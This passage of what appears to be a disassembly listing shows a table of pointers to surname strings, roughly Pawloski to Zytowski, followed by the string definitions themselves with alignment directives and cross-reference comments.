dd offset aPawloski ; "Pawloski"
dd offset aPaynter ; "Paynter"
dd offset aPeabody ; "Peabody"
dd offset aPearlberg ; "Pearlberg"
dd offset aPederson ; "Pederson"
dd offset aPeishel ; "Peishel"
dd offset aPenny ; "Penny"
dd offset aPereira ; "Pereira"
dd offset aPerko ; "Perko"
dd offset aPerlak ; "Perlak"
dd offset aPerlman ; "Perlman"
dd offset aPerna ; "Perna"
dd offset aPerone ; "Perone"
dd offset aPerrimon ; "Perrimon"
dd offset aPeters ; "Peters"
dd offset aPetruzello ; "Petruzello"
dd offset aPettibone ; "Pettibone"
dd offset aPettit ; "Pettit"
dd offset aPfister ; "Pfister"
dd offset aPilbeam ; "Pilbeam"
dd offset aPinot ; "Pinot"
dd offset aPlancon ; "Plancon"
dd offset aPlant ; "Plant"
dd offset aPlasket ; "Plasket"
dd offset aPlous ; "Plous"
dd offset aPo ; "Po"
dd offset aPocobene ; "Pocobene"
dd offset aPoincaire ; "Poincaire"
dd offset aPointer ; "Pointer"
dd offset aPoirier ; "Poirier"
dd offset aPolak ; "Polak"
dd offset aPolanyi ; "Polanyi"
dd offset aPolitis ; "Politis"
dd offset aPoma ; "Poma"
dd offset aPoolman ; "Poolman"
dd offset aPowers ; "Powers"
dd offset aPresper ; "Presper"
dd offset aPreucel ; "Preucel"
dd offset aPrevost ; "Prevost"
dd offset aPritchard ; "Pritchard"
dd offset aPritz ; "Pritz"
dd offset aProietti ; "Proietti"
dd offset aProthrowStith ; "Prothrow-Stith"
dd offset aPuccia ; "Puccia"
dd offset aPugh ; "Pugh"
dd offset aPynchon ; "Pynchon"
dd offset aQuaday ; "Quaday"
dd offset aQuetin ; "Quetin"
dd offset aRabe ; "Rabe"
dd offset aRabkin ; "Rabkin"
dd offset aRadeke ; "Radeke"
dd offset aRajagopalan ; "Rajagopalan"
dd offset aRaney ; "Raney"
dd offset aRangan ; "Rangan"
dd offset aRankin ; "Rankin"
dd offset aRapple ; "Rapple"
dd offset aRayport ; "Rayport"
dd offset aReddenTyler ; "Redden-Tyler"
dd offset aReedquist ; "Reedquist"
dd offset aCunningham ; "Cunningham"
dd offset aReinold ; "Reinold"
dd offset aRemak ; "Remak"
dd offset aRenick ; "Renick"
dd offset aRepetto ; "Repetto"
dd offset aResnik ; "Resnik"
dd offset aRhea ; "Rhea"
dd offset aRichmond ; "Richmond"
dd offset aRielly ; "Rielly"
dd offset aRindos ; "Rindos"
dd offset aRineer ; "Rineer"
dd offset aRish ; "Rish"
dd offset aRivera ; "Rivera"
dd offset aRobinson ; "Robinson"
dd offset aRocha ; "Rocha"
dd offset aRoesler ; "Roesler"
dd offset aRogers ; "Rogers"
dd offset aRonen ; "Ronen"
dd offset aRow ; "Row"
dd offset aRoyal ; "Royal"
dd offset aRu ; "Ru"
dd offset aRuan ; "Ruan"
dd offset aRuderman ; "Ruderman"
dd offset aRuescher ; "Ruescher"
dd offset aRush ; "Rush"
dd offset aRyu ; "Ryu"
dd offset aSabatello ; "Sabatello"
dd offset aSadler ; "Sadler"
dd offset aSafire ; "Safire"
dd offset aSahu ; "Sahu"
dd offset aSali ; "Sali"
dd offset aSamson ; "Samson"
dd offset aSanchezRamirez ; "Sanchez-Ramirez"
dd offset aSanna ; "Sanna"
dd offset aSapers ; "Sapers"
dd offset aSarin ; "Sarin"
dd offset aSartore ; "Sartore"
dd offset aSase ; "Sase"
dd offset aSatin ; "Satin"
dd offset aSatta ; "Satta"
dd offset aSatterthwaite ; "Satterthwaite"
dd offset aSawtell ; "Sawtell"
dd offset aSayied ; "Sayied"
dd offset aScarponi ; "Scarponi"
dd offset aScepan ; "Scepan"
dd offset aScharf ; "Scharf"
dd offset aScharlemann ; "Scharlemann"
dd offset aScheiner ; "Scheiner"
dd offset aSchiano ; "Schiano"
dd offset aSchifini ; "Schifini"
dd offset aSchilling ; "Schilling"
dd offset aSchmitt ; "Schmitt"
dd offset aSchossberger ; "Schossberger"
dd offset aSchuman ; "Schuman"
dd offset aSchutte ; "Schutte"
dd offset aSchuyler ; "Schuyler"
dd offset aSchwan ; "Schwan"
dd offset aSchwickrath ; "Schwickrath"
dd offset aScovel ; "Scovel"
dd offset aScudder ; "Scudder"
dd offset aSeaton ; "Seaton"
dd offset aSeeber ; "Seeber"
dd offset aSegal ; "Segal"
dd offset aSekler ; "Sekler"
dd offset aSelvage ; "Selvage"
dd offset aSen ; "Sen"
dd offset aSennett ; "Sennett"
dd offset aSeterdahl ; "Seterdahl"
dd offset aSexton ; "Sexton"
dd offset aSeyfert ; "Seyfert"
dd offset aShaikh ; "Shaikh"
dd offset aShakis ; "Shakis"
dd offset aShankland ; "Shankland"
dd offset aShanley ; "Shanley"
dd offset aShar ; "Shar"
dd offset aShatrov ; "Shatrov"
dd offset aShavelson ; "Shavelson"
dd offset aShea ; "Shea"
dd offset aSheats ; "Sheats"
dd offset aShepherd ; "Shepherd"
dd offset aSheppard ; "Sheppard"
dd offset aShepstone ; "Shepstone"
dd offset aShesko ; "Shesko"
dd offset aShia ; "Shia"
dd offset aShibata ; "Shibata"
dd offset aShimon ; "Shimon"
dd offset aSiesto ; "Siesto"
dd offset aSigalot ; "Sigalot"
dd offset aSigini ; "Sigini"
dd offset aSigna ; "Signa"
dd offset aSilverman ; "Silverman"
dd offset aSilvetti ; "Silvetti"
dd offset aSinsabaugh ; "Sinsabaugh"
dd offset aSirilli ; "Sirilli"
dd offset aSites ; "Sites"
dd offset aSkane ; "Skane"
dd offset aSkerry ; "Skerry"
dd offset aSkoda ; "Skoda"
dd offset aSloan ; "Sloan"
dd offset aSlowe ; "Slowe"
dd offset aSmilow ; "Smilow"
dd offset aSniffen ; "Sniffen"
dd offset aSnodgrass ; "Snodgrass"
dd offset aSocolow ; "Socolow"
dd offset aSolon ; "Solon"
dd offset aSomers ; "Somers"
dd offset aSommariva ; "Sommariva"
dd offset aSorabella ; "Sorabella"
dd offset aSorg ; "Sorg"
dd offset aSottak ; "Sottak"
dd offset aSoukup ; "Soukup"
dd offset aSoule ; "Soule"
dd offset aSoultanian ; "Soultanian"
dd offset aSpanier ; "Spanier"
dd offset aSparrow ; "Sparrow"
dd offset aSpaulding ; "Spaulding"
dd offset aSpeizer ; "Speizer"
dd offset aSpence ; "Spence"
dd offset aSperber ; "Sperber"
dd offset aSpicer ; "Spicer"
dd offset aSpiegelhalter ; "Spiegelhalter"
dd offset aSpiliotis ; "Spiliotis"
dd offset aSpinrad ; "Spinrad"
dd offset aStmartin ; "StMartin"
dd offset aStalvey ; "Stalvey"
dd offset aStam ; "Stam"
dd offset aStang ; "Stang"
dd offset aStassinopolus ; "Stassinopolus"
dd offset aStates ; "States"
dd offset aStatlender ; "Statlender"
dd offset aStefani ; "Stefani"
dd offset aSteiner ; "Steiner"
dd offset aStephanian ; "Stephanian"
dd offset aStepniewska ; "Stepniewska"
dd offset aStewartOaten ; "Stewart-Oaten"
dd offset aStiepock ; "Stiepock"
dd offset aStillwell ; "Stillwell"
dd offset aStock ; "Stock"
dd offset aStockton ; "Stockton"
dd offset aStockwell ; "Stockwell"
dd offset aStolzenberg ; "Stolzenberg"
dd offset aStonich ; "Stonich"
dd offset aStorer ; "Storer"
dd offset aStott ; "Stott"
dd offset aStrange ; "Strange"
dd offset aStrauch ; "Strauch"
dd offset aStreiff ; "Streiff"
dd offset aStringer ; "Stringer"
dd offset aSullivan ; "Sullivan"
dd offset aSumner ; "Sumner"
dd offset aSuo ; "Suo"
dd offset aSurdam ; "Surdam"
dd offset aSweeting ; "Sweeting"
dd offset aSweetser ; "Sweetser"
dd offset aSwindle ; "Swindle"
dd offset aTagiuri ; "Tagiuri"
dd offset aTai ; "Tai"
dd offset aTalaugon ; "Talaugon"
dd offset aTambiah ; "Tambiah"
dd offset aTandler ; "Tandler"
dd offset aTanowitz ; "Tanowitz"
dd offset aTatar ; "Tatar"
dd offset aTaveras ; "Taveras"
dd offset aTawn ; "Tawn"
dd offset aTcherepnin ; "Tcherepnin"
dd offset aTeague ; "Teague"
dd offset aTemes ; "Temes"
dd offset aTemmer ; "Temmer"
dd offset aTenney ; "Tenney"
dd offset aTerracini ; "Terracini"
dd offset aThan ; "Than"
dd offset aThavaneswaran ; "Thavaneswaran"
dd offset aTheodos ; "Theodos"
dd offset aThibault ; "Thibault"
dd offset aThisted ; "Thisted"
dd offset aThomsen ; "Thomsen"
dd offset aThroop ; "Throop"
dd offset aTierney ; "Tierney"
dd offset aTill ; "Till"
dd offset aTimmons ; "Timmons"
dd offset aTofallis ; "Tofallis"
dd offset aTollestrup ; "Tollestrup"
dd offset aTolls ; "Tolls"
dd offset aTolman ; "Tolman"
dd offset aTomford ; "Tomford"
dd offset aToomer ; "Toomer"
dd offset aTopulos ; "Topulos"
dd offset aTorresi ; "Torresi"
dd offset aTorske ; "Torske"
dd offset aTowler ; "Towler"
dd offset aToye ; "Toye"
dd offset aTraebert ; "Traebert"
dd offset aTrenga ; "Trenga"
dd offset aTrewin ; "Trewin"
dd offset aTringali ; "Tringali"
dd offset aTroiani ; "Troiani"
dd offset aTroy ; "Troy"
dd offset aTruss ; "Truss"
dd offset aTsiatis ; "Tsiatis"
dd offset aTsomides ; "Tsomides"
dd offset aTsukurov ; "Tsukurov"
dd offset aTuck ; "Tuck"
dd offset aTudge ; "Tudge"
dd offset aTukan ; "Tukan"
dd offset aTurano ; "Turano"
dd offset aTurek ; "Turek"
dd offset aTuttle ; "Tuttle"
dd offset aTwells ; "Twells"
dd offset aTzamarias ; "Tzamarias"
dd offset aUllman ; "Ullman"
dd offset aUntermeyer ; "Untermeyer"
dd offset aUpsdell ; "Upsdell"
dd offset aUrban ; "Urban"
dd offset aUrdangBrown ; "Urdang-Brown"
dd offset aUsdan ; "Usdan"
dd offset aUzuner ; "Uzuner"
dd offset aVacca ; "Vacca"
dd offset aWaite ; "Waite"
dd offset aValberg ; "Valberg"
dd offset aValencia ; "Valencia"
dd offset aWales ; "Wales"
dd offset aWallenberg ; "Wallenberg"
dd offset aWalter ; "Walter"
dd offset aVanallen ; "vanAllen"
dd offset aVanzwet ; "VanZwet"
dd offset aVandenberg ; "Vandenberg"
dd offset aVanheeckeren ; "Vanheeckeren"
dd offset aWarshafsky ; "Warshafsky"
dd offset aWasowska ; "Wasowska"
dd offset aVasquez ; "Vasquez"
dd offset aWaugh ; "Waugh"
dd offset aWeighart ; "Weighart"
dd offset aWeingarten ; "Weingarten"
dd offset aWeinhaus ; "Weinhaus"
dd offset aWeissbourd ; "Weissbourd"
dd offset aWeissman ; "Weissman"
dd offset aVelasquez ; "Velasquez"
dd offset aWelles ; "Welles"
dd offset aWelsh ; "Welsh"
dd offset aWengret ; "Wengret"
dd offset aVenne ; "Venne"
dd offset aVerghese ; "Verghese"
dd offset aWescott ; "Wescott"
dd offset aWetzel ; "Wetzel"
dd offset aWhately ; "Whately"
dd offset aWhilton ; "Whilton"
dd offset aWhite ; "White"
dd offset aWhitla ; "Whitla"
dd offset aWhittaker ; "Whittaker"
dd offset aViana ; "Viana"
dd offset aViano ; "Viano"
dd offset aWiedersheim ; "Wiedersheim"
dd offset aWiener ; "Wiener"
dd offset aViens ; "Viens"
dd offset aVignola ; "Vignola"
dd offset aWilder ; "Wilder"
dd offset aWilhelm ; "Wilhelm"
dd offset aWilk ; "Wilk"
dd offset aWilkin ; "Wilkin"
dd offset aWilkinson ; "Wilkinson"
dd offset aVillarreal ; "Villarreal"
dd offset aWillstatter ; "Willstatter"
dd offset aWilson ; "Wilson"
dd offset aVitali ; "Vitali"
dd offset aViviani ; "Viviani"
dd offset aVoigt ; "Voigt"
dd offset aWolk ; "Wolk"
dd offset aVonhoffman ; "VonHoffman"
dd offset aWoo ; "Woo"
dd offset aWooden ; "Wooden"
dd offset aWoods ; "Woods"
dd offset aWoodsPowell ; "Woods-Powell"
dd offset aVorhaus ; "Vorhaus"
dd offset aVotey ; "Votey"
dd offset aYacono ; "Yacono"
dd offset aYamane ; "Yamane"
dd offset aYankee ; "Yankee"
dd offset aYarchuk ; "Yarchuk"
dd offset aYates ; "Yates"
dd offset aYbarra ; "Ybarra"
dd offset aYedidia ; "Yedidia"
dd offset aYesson ; "Yesson"
dd offset aYetiv ; "Yetiv"
dd offset aYoffe ; "Yoffe"
dd offset aYoo ; "Yoo"
dd offset aYoukSee ; "Youk-See"
dd offset aYu ; "Yu"
dd offset aZachary ; "Zachary"
dd offset aZahedi ; "Zahedi"
dd offset aZangwill ; "Zangwill"
dd offset aZegans ; "Zegans"
dd offset aZerbini ; "Zerbini"
dd offset aZoldak ; "Zoldak"
dd offset aZucconi ; "Zucconi"
dd offset aZurn ; "Zurn"
dd offset aZwiers ; "Zwiers"
dd offset aZytowski ; "Zytowski"
aZytowski db 'Zytowski',0 ; DATA XREF: ___:0042EF28o
align 4
aZwiers db 'Zwiers',0 ; DATA XREF: ___:0042EF24o
align 10h
aZurn db 'Zurn',0 ; DATA XREF: ___:0042EF20o
align 4
aZucconi db 'Zucconi',0 ; DATA XREF: ___:0042EF1Co
aZoldak db 'Zoldak',0 ; DATA XREF: ___:0042EF18o
align 4
aZerbini db 'Zerbini',0 ; DATA XREF: ___:0042EF14o
aZegans db 'Zegans',0 ; DATA XREF: ___:0042EF10o
align 4
aZangwill db 'Zangwill',0 ; DATA XREF: ___:0042EF0Co
align 4
aZahedi db 'Zahedi',0 ; DATA XREF: ___:0042EF08o
align 4
aZachary db 'Zachary',0 ; DATA XREF: ___:0042EF04o
aYu db 'Yu',0 ; DATA XREF: ___:0042EF00o
align 4
aYoukSee db 'Youk-See',0 ; DATA XREF: ___:0042EEFCo
align 4
aYoo db 'Yoo',0 ; DATA XREF: ___:0042EEF8o
aYoffe db 'Yoffe',0 ; DATA XREF: ___:0042EEF4o
align 10h
aYetiv db 'Yetiv',0 ; DATA XREF: ___:0042EEF0o
align 4
aYesson db 'Yesson',0 ; DATA XREF: ___:0042EEECo
align 10h
aYedidia db 'Yedidia',0 ; DATA XREF: ___:0042EEE8o
aYbarra db 'Ybarra',0 ; DATA XREF: ___:0042EEE4o
align 10h
aYates db 'Yates',0 ; DATA XREF: ___:0042EEE0o
align 4
aYarchuk db 'Yarchuk',0 ; DATA XREF: ___:0042EEDCo
aYankee db 'Yankee',0 ; DATA XREF: ___:0042EED8o
align 4
aYamane db 'Yamane',0 ; DATA XREF: ___:0042EED4o
align 10h
aYacono db 'Yacono',0 ; DATA XREF: ___:0042EED0o
align 4
aVotey db 'Votey',0 ; DATA XREF: ___:0042EECCo
align 10h
aVorhaus db 'Vorhaus',0 ; DATA XREF: ___:0042EEC8o
aWoodsPowell db 'Woods-Powell',0 ; DATA XREF: ___:0042EEC4o
align 4
aWoods db 'Woods',0 ; DATA XREF: ___:0042EEC0o
align 10h
aWooden db 'Wooden',0 ; DATA XREF: ___:0042EEBCo
align 4
aWoo db 'Woo',0 ; DATA XREF: ___:0042EEB8o
aVonhoffman db 'VonHoffman',0 ; DATA XREF: ___:0042EEB4o
align 4
aWolk db 'Wolk',0 ; DATA XREF: ___:0042EEB0o
align 10h
aVoigt db 'Voigt',0 ; DATA XREF: ___:0042EEACo
align 4
aViviani db 'Viviani',0 ; DATA XREF: ___:0042EEA8o
aVitali db 'Vitali',0 ; DATA XREF: ___:0042EEA4o
align 4
aWilson db 'Wilson',0 ; DATA XREF: ___:0042EEA0o
align 10h
aWillstatter db 'Willstatter',0 ; DATA XREF: ___:0042EE9Co
aVillarreal db 'Villarreal',0 ; DATA XREF: ___:0042EE98o
align 4
aWilkinson db 'Wilkinson',0 ; DATA XREF: ___:0042EE94o
align 4
aWilkin db 'Wilkin',0 ; DATA XREF: ___:0042EE90o
align 4
aWilk db 'Wilk',0 ; DATA XREF: ___:0042EE8Co
align 4
aWilhelm db 'Wilhelm',0 ; DATA XREF: ___:0042EE88o
aWilder db 'Wilder',0 ; DATA XREF: ___:0042EE84o
align 4
aVignola db 'Vignola',0 ; DATA XREF: ___:0042EE80o
aViens db 'Viens',0 ; DATA XREF: ___:0042EE7Co
align 4
aWiener db 'Wiener',0 ; DATA XREF: ___:0042EE78o
align 4
aWiedersheim db 'Wiedersheim',0 ; DATA XREF: ___:0042EE74o
aViano db 'Viano',0 ; DATA XREF: ___:0042EE70o
align 10h
aViana db 'Viana',0 ; DATA XREF: ___:0042EE6Co
align 4
aWhittaker db 'Whittaker',0 ; DATA XREF: ___:0042EE68o
align 4
aWhitla db 'Whitla',0 ; DATA XREF: ___:0042EE64o
align 4
aWhite db 'White',0 ; DATA XREF: ___:0042EE60o
align 4
aWhilton db 'Whilton',0 ; DATA XREF: ___:0042EE5Co
aWhately db 'Whately',0 ; DATA XREF: ___:0042EE58o
aWetzel db 'Wetzel',0 ; DATA XREF: ___:0042EE54o
align 4
aWescott db 'Wescott',0 ; DATA XREF: ___:0042EE50o
aVerghese db 'Verghese',0 ; DATA XREF: ___:0042EE4Co
align 10h
aVenne db 'Venne',0 ; DATA XREF: ___:0042EE48o
align 4
aWengret db 'Wengret',0 ; DATA XREF: ___:0042EE44o
aWelsh db 'Welsh',0 ; DATA XREF: ___:0042EE40o
align 4
aWelles db 'Welles',0 ; DATA XREF: ___:0042EE3Co
align 10h
aVelasquez db 'Velasquez',0 ; DATA XREF: ___:0042EE38o
align 4
aWeissman db 'Weissman',0 ; DATA XREF: ___:0042EE34o
align 4
aWeissbourd db 'Weissbourd',0 ; DATA XREF: ___:0042EE30o
align 4
aWeinhaus db 'Weinhaus',0 ; DATA XREF: ___:0042EE2Co
align 10h
aWeingarten db 'Weingarten',0 ; DATA XREF: ___:0042EE28o
align 4
aWeighart db 'Weighart',0 ; DATA XREF: ___:0042EE24o
align 4
aWaugh db 'Waugh',0 ; DATA XREF: ___:0042EE20o
align 10h
aVasquez db 'Vasquez',0 ; DATA XREF: ___:0042EE1Co
aWasowska db 'Wasowska',0 ; DATA XREF: ___:0042EE18o
align 4
aWarshafsky db 'Warshafsky',0 ; DATA XREF: ___:0042EE14o
align 10h
aVanheeckeren db 'Vanheeckeren',0 ; DATA XREF: ___:0042EE10o
align 10h
aVandenberg db 'Vandenberg',0 ; DATA XREF: ___:0042EE0Co
align 4
aVanzwet db 'VanZwet',0 ; DATA XREF: ___:0042EE08o
aVanallen db 'vanAllen',0 ; DATA XREF: ___:0042EE04o
align 10h
aWalter db 'Walter',0 ; DATA XREF: ___:0042EE00o
align 4
aWallenberg db 'Wallenberg',0 ; DATA XREF: ___:0042EDFCo
align 4
aWales db 'Wales',0 ; DATA XREF: ___:0042EDF8o
align 4
aValencia db 'Valencia',0 ; DATA XREF: ___:0042EDF4o
align 4
aValberg db 'Valberg',0 ; DATA XREF: ___:0042EDF0o
aWaite db 'Waite',0 ; DATA XREF: ___:0042EDECo
align 4
aVacca db 'Vacca',0 ; DATA XREF: ___:0042EDE8o
align 10h
aUzuner db 'Uzuner',0 ; DATA XREF: ___:0042EDE4o
align 4
aUsdan db 'Usdan',0 ; DATA XREF: ___:0042EDE0o
align 10h
aUrdangBrown db 'Urdang-Brown',0 ; DATA XREF: ___:0042EDDCo
align 10h
aUrban db 'Urban',0 ; DATA XREF: ___:0042EDD8o
align 4
aUpsdell db 'Upsdell',0 ; DATA XREF: ___:0042EDD4o
aUntermeyer db 'Untermeyer',0 ; DATA XREF: ___:0042EDD0o
align 4
aUllman db 'Ullman',0 ; DATA XREF: ___:0042EDCCo
align 4
aTzamarias db 'Tzamarias',0 ; DATA XREF: ___:0042EDC8o
align 10h
aTwells db 'Twells',0 ; DATA XREF: ___:0042EDC4o
align 4
aTuttle db 'Tuttle',0 ; DATA XREF: ___:0042EDC0o
align 10h
aTurek db 'Turek',0 ; DATA XREF: ___:0042EDBCo
align 4
aTurano db 'Turano',0 ; DATA XREF: ___:0042EDB8o
align 10h
aTukan db 'Tukan',0 ; DATA XREF: ___:0042EDB4o
align 4
aTudge db 'Tudge',0 ; DATA XREF: ___:0042EDB0o
align 10h
aTuck db 'Tuck',0 ; DATA XREF: ___:0042EDACo
align 4
aTsukurov db 'Tsukurov',0 ; DATA XREF: ___:0042EDA8o
align 4
aTsomides db 'Tsomides',0 ; DATA XREF: ___:0042EDA4o
align 10h
aTsiatis db 'Tsiatis',0 ; DATA XREF: ___:0042EDA0o
aTruss db 'Truss',0 ; DATA XREF: ___:0042ED9Co
align 10h
aTroy db 'Troy',0 ; DATA XREF: ___:0042ED98o
align 4
aTroiani db 'Troiani',0 ; DATA XREF: ___:0042ED94o
aTringali db 'Tringali',0 ; DATA XREF: ___:0042ED90o
align 4
aTrewin db 'Trewin',0 ; DATA XREF: ___:0042ED8Co
align 4
aTrenga db 'Trenga',0 ; DATA XREF: ___:0042ED88o
align 4
aTraebert db 'Traebert',0 ; DATA XREF: ___:0042ED84o
align 4
aToye db 'Toye',0 ; DATA XREF: ___:0042ED80o
align 10h
aTowler db 'Towler',0 ; DATA XREF: ___:0042ED7Co
align 4
aTorske db 'Torske',0 ; DATA XREF: ___:0042ED78o
align 10h
aTorresi db 'Torresi',0 ; DATA XREF: ___:0042ED74o
aTopulos db 'Topulos',0 ; DATA XREF: ___:0042ED70o
aToomer db 'Toomer',0 ; DATA XREF: ___:0042ED6Co
align 4
aTomford db 'Tomford',0 ; DATA XREF: ___:0042ED68o
aTolman db 'Tolman',0 ; DATA XREF: ___:0042ED64o
align 4
aTolls db 'Tolls',0 ; DATA XREF: ___:0042ED60o
align 10h
aTollestrup db 'Tollestrup',0 ; DATA XREF: ___:0042ED5Co
align 4
aTofallis db 'Tofallis',0 ; DATA XREF: ___:0042ED58o
align 4
aTimmons db 'Timmons',0 ; DATA XREF: ___:0042ED54o
aTill db 'Till',0 ; DATA XREF: ___:0042ED50o
align 4
aTierney db 'Tierney',0 ; DATA XREF: ___:0042ED4Co
aThroop db 'Throop',0 ; DATA XREF: ___:0042ED48o
align 4
aThomsen db 'Thomsen',0 ; DATA XREF: ___:0042ED44o
aThisted db 'Thisted',0 ; DATA XREF: ___:0042ED40o
aThibault db 'Thibault',0 ; DATA XREF: ___:0042ED3Co
align 4
aTheodos db 'Theodos',0 ; DATA XREF: ___:0042ED38o
aThavaneswaran db 'Thavaneswaran',0 ; DATA XREF: ___:0042ED34o
align 4
aThan db 'Than',0 ; DATA XREF: ___:0042ED30o
align 4
aTerracini db 'Terracini',0 ; DATA XREF: ___:0042ED2Co
align 10h
aTenney db 'Tenney',0 ; DATA XREF: ___:0042ED28o
align 4
aTemmer db 'Temmer',0 ; DATA XREF: ___:0042ED24o
align 10h
aTemes db 'Temes',0 ; DATA XREF: ___:0042ED20o
align 4
aTeague db 'Teague',0 ; DATA XREF: ___:0042ED1Co
align 10h
aTcherepnin db 'Tcherepnin',0 ; DATA XREF: ___:0042ED18o
align 4
aTawn db 'Tawn',0 ; DATA XREF: ___:0042ED14o
align 4
aTaveras db 'Taveras',0 ; DATA XREF: ___:0042ED10o
aTatar db 'Tatar',0 ; DATA XREF: ___:0042ED0Co
align 4
aTanowitz db 'Tanowitz',0 ; DATA XREF: ___:0042ED08o
align 10h
aTandler db 'Tandler',0 ; DATA XREF: ___:0042ED04o
aTambiah db 'Tambiah',0 ; DATA XREF: ___:0042ED00o
aTalaugon db 'Talaugon',0 ; DATA XREF: ___:0042ECFCo
align 4
aTai db 'Tai',0 ; DATA XREF: ___:0042ECF8o
aTagiuri db 'Tagiuri',0 ; DATA XREF: ___:0042ECF4o
aSwindle db 'Swindle',0 ; DATA XREF: ___:0042ECF0o
aSweetser db 'Sweetser',0 ; DATA XREF: ___:0042ECECo
align 4
aSweeting db 'Sweeting',0 ; DATA XREF: ___:0042ECE8o
align 4
aSurdam db 'Surdam',0 ; DATA XREF: ___:0042ECE4o
align 10h
aSuo db 'Suo',0 ; DATA XREF: ___:0042ECE0o
aSumner db 'Sumner',0 ; DATA XREF: ___:0042ECDCo
align 4
aSullivan db 'Sullivan',0 ; DATA XREF: ___:0042ECD8o
align 4
aStringer db 'Stringer',0 ; DATA XREF: ___:0042ECD4o
align 4
aStreiff db 'Streiff',0 ; DATA XREF: ___:0042ECD0o
aStrauch db 'Strauch',0 ; DATA XREF: ___:0042ECCCo
aStrange db 'Strange',0 ; DATA XREF: ___:0042ECC8o
aStott db 'Stott',0 ; DATA XREF: ___:0042ECC4o
align 4
aStorer db 'Storer',0 ; DATA XREF: ___:0042ECC0o
align 4
aStonich db 'Stonich',0 ; DATA XREF: ___:0042ECBCo
aStolzenberg db 'Stolzenberg',0 ; DATA XREF: ___:0042ECB8o
aStockwell db 'Stockwell',0 ; DATA XREF: ___:0042ECB4o
align 4
aStockton db 'Stockton',0 ; DATA XREF: ___:0042ECB0o
align 4
aStock db 'Stock',0 ; DATA XREF: ___:0042ECACo
align 10h
aStillwell db 'Stillwell',0 ; DATA XREF: ___:0042ECA8o
align 4
aStiepock db 'Stiepock',0 ; DATA XREF: ___:0042ECA4o
align 4
aStewartOaten db 'Stewart-Oaten',0 ; DATA XREF: ___:0042ECA0o
align 4
aStepniewska db 'Stepniewska',0 ; DATA XREF: ___:0042EC9Co
aStephanian db 'Stephanian',0 ; DATA XREF: ___:0042EC98o
align 10h
aSteiner db 'Steiner',0 ; DATA XREF: ___:0042EC94o
aStefani db 'Stefani',0 ; DATA XREF: ___:0042EC90o
aStatlender db 'Statlender',0 ; DATA XREF: ___:0042EC8Co
align 4
aStates db 'States',0 ; DATA XREF: ___:0042EC88o
align 4
aStassinopolus db 'Stassinopolus',0 ; DATA XREF: ___:0042EC84o
align 4
aStang db 'Stang',0 ; DATA XREF: ___:0042EC80o
align 4
aStam db 'Stam',0 ; DATA XREF: ___:0042EC7Co
align 4
aStalvey db 'Stalvey',0 ; DATA XREF: ___:0042EC78o
aStmartin db 'StMartin',0 ; DATA XREF: ___:0042EC74o
align 4
aSpinrad db 'Spinrad',0 ; DATA XREF: ___:0042EC70o
aSpiliotis db 'Spiliotis',0 ; DATA XREF: ___:0042EC6Co
align 4
aSpiegelhalter db 'Spiegelhalter',0 ; DATA XREF: ___:0042EC68o
align 4
aSpicer db 'Spicer',0 ; DATA XREF: ___:0042EC64o
align 4
aSperber db 'Sperber',0 ; DATA XREF: ___:0042EC60o
aSpence db 'Spence',0 ; DATA XREF: ___:0042EC5Co
align 4
aSpeizer db 'Speizer',0 ; DATA XREF: ___:0042EC58o
aSpaulding db 'Spaulding',0 ; DATA XREF: ___:0042EC54o
align 4
aSparrow db 'Sparrow',0 ; DATA XREF: ___:0042EC50o
aSpanier db 'Spanier',0 ; DATA XREF: ___:0042EC4Co
aSoultanian db 'Soultanian',0 ; DATA XREF: ___:0042EC48o
align 4
aSoule db 'Soule',0 ; DATA XREF: ___:0042EC44o
align 4
aSoukup db 'Soukup',0 ; DATA XREF: ___:0042EC40o
align 4
aSottak db 'Sottak',0 ; DATA XREF: ___:0042EC3Co
align 4
aSorg db 'Sorg',0 ; DATA XREF: ___:0042EC38o
align 4
aSorabella db 'Sorabella',0 ; DATA XREF: ___:0042EC34o
align 10h
aSommariva db 'Sommariva',0 ; DATA XREF: ___:0042EC30o
align 4
aSomers db 'Somers',0 ; DATA XREF: ___:0042EC2Co
align 4
aSolon db 'Solon',0 ; DATA XREF: ___:0042EC28o
align 4
aSocolow db 'Socolow',0 ; DATA XREF: ___:0042EC24o
aSnodgrass db 'Snodgrass',0 ; DATA XREF: ___:0042EC20o
align 10h
aSniffen db 'Sniffen',0 ; DATA XREF: ___:0042EC1Co
aSmilow db 'Smilow',0 ; DATA XREF: ___:0042EC18o
align 10h
aSlowe db 'Slowe',0 ; DATA XREF: ___:0042EC14o
align 4
aSloan db 'Sloan',0 ; DATA XREF: ___:0042EC10o
align 10h
aSkoda db 'Skoda',0 ; DATA XREF: ___:0042EC0Co
align 4
aSkerry db 'Skerry',0 ; DATA XREF: ___:0042EC08o
align 10h
aSkane db 'Skane',0 ; DATA XREF: ___:0042EC04o
align 4
aSites db 'Sites',0 ; DATA XREF: ___:0042EC00o
align 10h
aSirilli db 'Sirilli',0 ; DATA XREF: ___:0042EBFCo
aSinsabaugh db 'Sinsabaugh',0 ; DATA XREF: ___:0042EBF8o
align 4
aSilvetti db 'Silvetti',0 ; DATA XREF: ___:0042EBF4o
align 10h
aSilverman db 'Silverman',0 ; DATA XREF: ___:0042EBF0o
align 4
aSigna db 'Signa',0 ; DATA XREF: ___:0042EBECo
align 4
aSigini db 'Sigini',0 ; DATA XREF: ___:0042EBE8o
align 4
aSigalot db 'Sigalot',0 ; DATA XREF: ___:0042EBE4o
aSiesto db 'Siesto',0 ; DATA XREF: ___:0042EBE0o
align 4
aShimon db 'Shimon',0 ; DATA XREF: ___:0042EBDCo
align 4
aShibata db 'Shibata',0 ; DATA XREF: ___:0042EBD8o
aShia db 'Shia',0 ; DATA XREF: ___:0042EBD4o
align 4
aShesko db 'Shesko',0 ; DATA XREF: ___:0042EBD0o
align 4
aShepstone db 'Shepstone',0 ; DATA XREF: ___:0042EBCCo
align 4
aSheppard db 'Sheppard',0 ; DATA XREF: ___:0042EBC8o
align 4
aShepherd db 'Shepherd',0 ; DATA XREF: ___:0042EBC4o
align 10h
aSheats db 'Sheats',0 ; DATA XREF: ___:0042EBC0o
align 4
aShea db 'Shea',0 ; DATA XREF: ___:0042EBBCo
align 10h
aShavelson db 'Shavelson',0 ; DATA XREF: ___:0042EBB8o
align 4
aShatrov db 'Shatrov',0 ; DATA XREF: ___:0042EBB4o
aShar db 'Shar',0 ; DATA XREF: ___:0042EBB0o
align 4
aShanley db 'Shanley',0 ; DATA XREF: ___:0042EBACo
aShankland db 'Shankland',0 ; DATA XREF: ___:0042EBA8o
align 10h
aShakis db 'Shakis',0 ; DATA XREF: ___:0042EBA4o
align 4
aShaikh db 'Shaikh',0 ; DATA XREF: ___:0042EBA0o
align 10h
